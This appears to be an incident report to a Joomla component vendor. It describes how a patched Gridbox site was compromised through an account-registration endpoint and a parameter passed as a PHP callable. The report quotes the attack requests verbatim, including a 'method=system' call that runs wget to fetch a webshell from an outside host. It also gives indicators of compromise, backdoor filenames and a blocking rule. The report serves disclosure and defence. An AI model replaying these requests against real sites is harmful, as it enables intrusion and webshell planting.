**Reporter:** Enrico — EPStudios (
This email address is being protected from spambots. You need JavaScript enabled to view it.)
**Date of incident:** 28 July 2026
**Hosting:** Infomaniak shared hosting, ~16 sites under one Unix account (Joomla + WordPress)
---
## Summary
On 28 July 2026 a Joomla site running **Gridbox 2.20.1** (the version released 20 July that
fixes CVE-2026-61425) and **BA Forms 2.4.3** was successfully compromised, **4 hours and 17
minutes after both components were updated**.
The attack path visible in our logs does **not** match the cookie-based authentication bypass
described in the CVE-2026-61425 advisory. It uses two different endpoints:
1. `index.php?option=com_gridbox&task=store.register` — appears to create a usable account
2. `administrator/index.php?option=com_gridbox&task=pages.addLanguage&method=
&zip=`
— the `method` request parameter appears to be used as a **PHP callable**, giving arbitrary
function execution
We believe at least the second issue is still unpatched in 2.20.1.
---
## Evidence that the installation was patched
Component manifests on the compromised site (`assistenzabadante.it`), read after the incident:
```
administrator/components/com_gridbox/gridbox.xml -> 2.20.1
administrator/components/com_baforms/baforms.xml -> 2.4.3
```
File modification times (UTC):
```
2026-07-28 12:16:41 administrator/components/com_gridbox/gridbox.xml
2026-07-28 12:16:40 administrator/components/com_baforms/baforms.xml
```
First rogue administrator account created: **12:33 UTC** — 17 minutes after the update.
Webshell dropped: **16:33 UTC** — 4h17m after the update.
---
## Attack sequence (Apache access log, verbatim)
Source IP `92.255.209.234`, total elapsed time 30 seconds. Log timestamps are `+0200`;
UTC equivalents in the summary above.
```
18:33:01 GET / 301
18:33:02 GET / 200
18:33:19 POST /index.php?option=com_gridbox&task=store.register 200 35
18:33:19 GET /administrator/index.php 200 3903
(referer: /index.php?option=com_gridbox&task=store.register)
18:33:19 POST /administrator/index.php 303 20
18:33:20 GET /administrator/index.php 200 7683
18:33:20 GET /administrator/index.php?option=com_gridbox
&task=pages.addLanguage&method=file_get_contents
&url=http://beta-automation.de/cli/accesson.php
&zip=http://beta-automation.de/cli/accesson.php 500 31099
18:33:21 POST /tmp/accesson.php 200 20
18:33:21 GET /3e2973af744e.php 404
18:33:22 GET /administrator/index.php?option=com_gridbox
&task=pages.addLanguage&method=system
&zip=wget%20http://beta-automation.de/cli/accesson.php%20-O%20../3e2973af744e.php
500 30977
18:33:22 GET /3e2973af744e.php 404
18:33:23 POST /index.php?option=com_gridbox&task=editor.getBlocksLicense 200 282
(referer: /3e2973af744e.php)
18:33:31 GET /components/3e2973af744e.php 200 254
```
Note the `303` at 18:33:19 on `POST /administrator/index.php`, immediately followed by a
7683-byte `200` on the admin dashboard: the attacker was authenticated as an administrator
two seconds after calling `store.register`.
---
## Error log — confirms `method` is dispatched as a PHP function
```
[Tue Jul 28 18:33:20.681797 2026] [proxy_fcgi:error] [client 92.255.209.234:0]
PHP Warning: file_get_contents(): http:// wrapper is disabled in the server configuration
by allow_url_fopen=0 in .../administrator/components/com_gridbox/src/Controller/PagesController.php on line 62
PHP Warning: file_get_contents(http://beta-automation.de/cli/accesson.php): Failed to open
stream: no suitable wrapper could be found in .../PagesController.php on line 62
referer: https://assistenzabadante.it/administrator/index.php
```
The attacker-supplied string `file_get_contents` was invoked as a function at
`PagesController.php:62`. The follow-up request substituted `method=system` with a `wget`
command line in `zip`. On this host `allow_url_fopen=0` blocked the first attempt; the
webshell nevertheless landed (`/components/3e2973af744e.php` returned 200 at 18:33:31).
---
## Impact observed
- **7 administrator accounts** created on one site between 12:33 and 16:33 UTC, roughly hourly
(usernames `xtw18387*`, emails `xtw18387+@outlook.com` — plus-addressing to one mailbox)
- Fake Joomla system plugins installed **through the extension manager** while authenticated,
named to look like utilities: `startertemplates`, `startercore`, `startercorehelper`,
`startersitecore`, `smtprelayhelper`, `cacheoptimizerhelper`, `themebridgecore`,
`adminuitweaks` — 16 instances across 4 sites
- Those plugins inject SEO spam via `onAfterRender` and expose a public control endpoint at
`index.php?option=com_ajax&group=system&plugin=&format=json`. Spam link text is not in
the files — it is fetched from C2 via cURL
- Separate `.htaccess` cloaking block serving doorway pages to Googlebot only
- Second source IP `46.246.28.170` hit `gevisolutions.it` six minutes later via
`com_gridbox ... UploaderController.php`, referer `store.register`
## Indicators of compromise
```
92.255.209.234 attacking IP
46.246.28.170 attacking IP
beta-automation.de/cli/accesson.php payload host (likely a compromised third party)
ornek-market.com, sakso1.com spam link targets
xtw18387+@outlook.com rogue account emails
```
Plugin source files carry a Turkish comment identifying the toolkit:
`Kimlik bilgileri sunucudan indirilen ZIP icindeki -config.php dosyasinda`
## Current mitigation
Since no patched version appears to close this path, we blocked the endpoints at the web
server level on every site. This is verified working (403 on both):
```apache
RewriteEngine On
RewriteCond %{QUERY_STRING} com_gridbox [NC]
RewriteCond %{QUERY_STRING} (^|&)method= [NC]
RewriteRule .* - [F,L]
RewriteCond %{QUERY_STRING} task=store\.register [NC]
RewriteRule .* - [F,L]
```
No further intrusion since deployment.
---
## Appendix — unrelated second actor on the same hosting
Recovered `.htaccess` backups on most sites contain a persistence technique from a different
(apparently Chinese) toolkit, consistent with a `BiaoJiOk` marker found in other files. It
denies execution of all `.php`, then re-allows a list containing WordPress core filenames
with the actor's own backdoors hidden among them:
```
system_log inputs adminfuns chtmlfuns cjfuns classsmtps classfuns comfunctions
comdofuns connects copypaths delpaths doiconvs epinyins filefuns gdftps hinfofuns
hplfuns memberfuns moddofuns onclickfuns phpzipincs qfunctions qinfofuns schallfuns
tempfuns userfuns siteheads termps txets thoms postnews
```
Mentioned only for completeness — it predates and is unrelated to the Gridbox activity.
---
Full access and error logs available on request. Happy to test a patch.
